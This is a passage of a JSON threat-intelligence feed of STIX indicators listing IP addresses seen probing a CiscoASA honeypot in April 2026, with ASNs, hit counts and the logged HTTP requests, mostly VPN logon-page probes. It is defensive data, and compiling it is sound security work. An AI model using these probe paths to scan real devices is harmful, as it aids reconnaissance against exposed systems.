          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--597c6c13-e304-4001-8dca-015432214f53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.70.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T10:20:11.000Z",
      "valid_until": "2026-05-23T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-21T10:05:57.639Z",
          "last_seen": "2026-04-23T19:46:14.315Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--1155bf3f-8fb4-47f5-9522-e312956b5ce3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-21T04:56:31.008Z",
          "last_seen": "2026-04-23T20:41:30.442Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--48e9ed75-0274-4040-ae8b-4e5d93195771",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.103.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T03:43:58.812Z",
          "last_seen": "2026-04-28T00:34:11.844Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--6531c32d-933d-426d-a4d3-59e206ac0485",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T10:37:56.439Z",
          "last_seen": "2026-04-27T12:05:41.553Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-21T10:23:56.097Z",
          "last_seen": "2026-04-21T10:30:46.088Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2df9296d-7f1f-4e35-948b-a0d90862b3d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-21T10:25:52.260Z",
          "last_seen": "2026-04-21T10:25:52.260Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b64db9dd-c179-49e1-9c4a-4c1bf935e388",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-21T10:28:27.480Z",
          "last_seen": "2026-04-21T10:28:36.265Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--77aa246c-8804-426b-adf4-6a057f8efc61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-21T10:28:14.714Z",
          "last_seen": "2026-04-21T10:28:14.714Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--744d4afd-b1e1-44bc-b756-5105edb64d33",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-21T10:28:23.404Z",
          "last_seen": "2026-04-21T10:28:23.404Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--bc190fb7-e989-4aac-97d7-9196511e2703",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-21T10:28:06.642Z",
          "last_seen": "2026-04-21T10:28:06.642Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--46c251fb-2f4c-44d7-96c4-5266f23bd3fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T11:20:10.000Z",
      "valid_until": "2026-05-23T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-21T10:26:39.979Z",
          "last_seen": "2026-04-21T10:26:39.979Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T12:20:41.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--c64ffde3-4fd2-492e-a4ad-9d1d2423d49b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.211.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:20:41.000Z",
      "valid_until": "2026-05-23T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-21T12:16:54.189Z",
          "last_seen": "2026-04-29T09:06:13.318Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T12:20:41.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--661f163c-c5e7-427d-865e-ad0ffee4160e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:20:41.000Z",
      "valid_until": "2026-05-23T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T11:39:35.805Z",
          "last_seen": "2026-04-21T11:52:44.495Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T12:20:41.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a870078d-e14e-453c-81c2-0fc26250c5de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.109.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:20:41.000Z",
      "valid_until": "2026-05-23T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-15T09:21:34.544Z",
          "last_seen": "2026-04-27T12:43:28.747Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T12:20:41.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7fec02ea-52aa-47ef-afd1-933c78d3d453",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:20:41.000Z",
      "valid_until": "2026-05-23T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T11:26:42.187Z",
          "last_seen": "2026-04-28T01:16:26.899Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T12:20:41.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7d3d65ab-b546-448d-a6fb-a72039a68572",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:20:41.000Z",
      "valid_until": "2026-05-23T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-21T11:59:34.795Z",
          "last_seen": "2026-04-21T12:12:10.207Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T12:20:41.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--aa754426-1975-4db7-98dc-a2ddc5a40bcf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T12:20:41.000Z",
      "valid_until": "2026-05-23T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-15T09:46:09.099Z",
          "last_seen": "2026-04-29T21:01:07.303Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T13:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--f6836489-c8fe-4578-978f-4e6e56b4216e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.225.189.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T13:20:10.000Z",
      "valid_until": "2026-05-23T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-21T12:58:45.695Z",
          "last_seen": "2026-04-30T00:19:19.212Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--25f333ad-64a3-4a23-ba4f-89e7dbffafc5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:20:11.000Z",
      "valid_until": "2026-05-23T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-21T14:35:03.994Z",
          "last_seen": "2026-04-29T10:26:50.699Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--1d521c18-88f7-44b9-ba40-73a20158d6ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T15:20:11.000Z",
      "valid_until": "2026-05-23T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-10T03:59:22.900Z",
          "last_seen": "2026-04-27T16:15:38.930Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-21T15:20:11.000Z",
